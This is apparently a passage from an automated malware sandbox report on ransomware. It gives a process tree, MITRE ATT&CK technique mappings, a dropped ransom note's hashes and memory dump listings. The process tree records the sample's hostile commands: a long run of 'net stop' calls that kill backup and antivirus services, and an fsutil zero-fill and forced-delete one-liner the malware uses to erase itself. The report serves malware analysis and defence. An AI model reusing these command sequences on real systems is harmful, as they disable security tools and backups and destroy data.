    PID:1160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1308
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:1564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:2172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:2500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "750619971-57934616220045920841690808442-2652703251475565326211459495-706037686"
1⤵
PID:2504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:2892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:1780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:1436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:2376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:1136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:2896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:1676

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:1904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:2164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:2904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:1516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:2748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:2948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:1612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:2600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:2556

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20176096997498038481237367236-10439398951233293921696119740-369606709-750339747"
1⤵
PID:2700

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.7 -n 3
1⤵
- Runs ping.exe
- Suspicious use of AdjustPrivilegeToken
PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
39261814ad88dc4ae764bddf14738188

SHA1
546c4440a01942c97de2d515817cef3891fe5f25

SHA256
a56a93427f48bd914784292b4c357ec1acc653581fab17b38f99e0d1d9d0f903

SHA512
802ab906179efd5cc83131efd235270bea3b58ae8bcb761ff0ed5d6e98ad2e8452a37d9d90c1c966c28b133bf2efa5fb21adbe9d2cc4f72aaf8671c97401c796

Download Submit
memory/1112-5-0x0000000070550000-0x0000000070AFB000-memory.dmp

Filesize
5.7MB

Download
memory/1112-10-0x0000000070550000-0x0000000070AFB000-memory.dmp

Filesize
5.7MB

Download
memory/1112-9-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1112-8-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1112-7-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/1112-6-0x0000000070550000-0x0000000070AFB000-memory.dmp

Filesize
5.7MB

Download
memory/2224-0-0x0000000000300000-0x000000000031C000-memory.dmp

Filesize
112KB

Download
memory/2224-1-0x0000000074960000-0x000000007504E000-memory.dmp

Filesize
6.9MB

Download
memory/2224-2-0x00000000049E0000-0x0000000004A20000-memory.dmp

Filesize
256KB

Download
memory/2224-98-0x0000000074960000-0x000000007504E000-memory.dmp

Filesize
6.9MB

Download
memory/2224-132-0x0000000074960000-0x000000007504E000-memory.dmp

Filesize
6.9MB

Download